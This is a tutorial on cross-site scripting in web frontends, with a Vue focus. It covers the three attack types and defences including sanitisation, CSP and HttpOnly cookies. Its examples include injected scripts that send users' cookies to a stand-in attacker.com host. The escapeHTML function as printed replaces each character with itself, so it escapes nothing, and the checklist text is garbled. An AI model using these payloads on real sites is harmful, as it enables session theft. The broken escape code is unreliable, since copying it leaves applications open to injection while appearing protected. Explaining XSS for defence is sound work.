XSS (Cross-Site Scripting) is one of the most common frontend security vulnerabilities. This article systematically covers everything from attack mechanisms to defense strategies.
The Three Types of XSS
Stored XSS
An attacker stores a malicious script in the database, which executes when other users visit the page:
Attacker submits a comment: <script>document.location='http://attacker.com/steal?c='+document.cookie</script>
Server saves it to the database
↓
Other users load the comment list
↓
Browser executes the script, sending cookies to the attacker's server
Most damaging, because every user who visits the page is affected.
Reflected XSS
The malicious script is embedded in a URL and the user is tricked into clicking it:
Normal URL: https://example.com/search?q=frontend
Malicious URL: https://example.com/search?q=<script>alert(document.cookie)</script>
The server injects the q parameter directly into HTML:
<p>Search results: <script>alert(document.cookie)</script></p>
DOM-Based XSS
The attack happens on the client side without going through the server:
// Dangerous code: directly inserts URL parameters into the DOM
const query = location.search.substring(1);
document.getElementById("result").innerHTML = "Search: " + query;
// Attack URL: ?<img src=x onerror=alert(document.cookie)>
Defense Strategies
1. Output Encoding (The Basics)
Never insert user input directly into HTML. Use an escape function:
function escapeHTML(str) {
return str
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
// Usage
element.textContent = userInput; // ✅ safe — browser escapes automatically
element.innerHTML = escapeHTML(userInput); // ✅ manually escaped
element.innerHTML = userInput; // ❌ dangerous!
Vue's {{ }} template interpolation automatically escapes text content, making it safe by default:
{% raw %}
<template>
<!-- ✅ Safe: auto-escaped -->
<p>{{ userComment }}</p>
<!-- ❌ Dangerous: v-html does NOT escape -->
<p v-html="userComment"></p>
</template>
{% endraw %}
2. Safe Use of v-html
If you truly need to render HTML (e.g. rich text), you must sanitize it first:
import DOMPurify from "dompurify";
// Configure allowed tags and attributes
const clean = DOMPurify.sanitize(dirtyHTML, {
ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "ol", "li"],
ALLOWED_ATTR: ["href", "target"],
});
<p v-html="sanitizedContent"></p>
3. CSP (Content Security Policy)
Tell the browser via an HTTP response header which resource origins are allowed:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-xxx';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com
Even if XSS code is injected, CSP prevents the malicious script from loading and executing.
Nginx configuration:
add_header Content-Security-Policy "default-src 'self'; script-src 'self'";
4. HttpOnly Cookie
Set session tokens to HttpOnly so they cannot be read by JavaScript:
Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict
Even if XSS occurs, attackers cannot steal the token via document.cookie.
5. Input Validation
Frontend validation is only an aid; real validation must happen on the server side. However, the frontend should also:
// Rich text editors: restrict allowed HTML tags
// URL parameters: validate format, reject javascript: protocol
function isSafeURL(url) {
try {
const parsed = new URL(url);
return ["http:", "https:"].includes(parsed.protocol);
} catch {
return false;
}
}
// ❌ javascript:alert(1) → rejected
// ✅ https://example.com → allowed
A Real-World Incident
Case: Search Box Reflected XSS
<!-- ❌ Displaying URL parameters directly with v-html, without escaping -->
<template>
<p v-html="'Search: ' + $route.query.keyword"></p>
</template>
Attack URL: ?keyword=<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
Fix:
{% raw %}
<!-- ✅ Use text interpolation — auto-escaped -->
<template>
<p>Search: {{ $route.query.keyword }}</p>
</template>
{% endraw %}
Defense Checklist
- [ ] Avoid using
innerHTML; prefertextContent - [ ] Use
v-htmlin Vue with caution — always sanitize first - [ ] Server-side: HTML-escape all output
- [ ] Configure a CSP response header
- [ ] Set session cookies to
HttpOnly+Secure - [ ] Validate URL protocol before using URL parameters
Summary
The core principle of XSS defense: never trust user input, and always escape on output. CSP and HttpOnly are additional defense layers that limit damage if something goes wrong.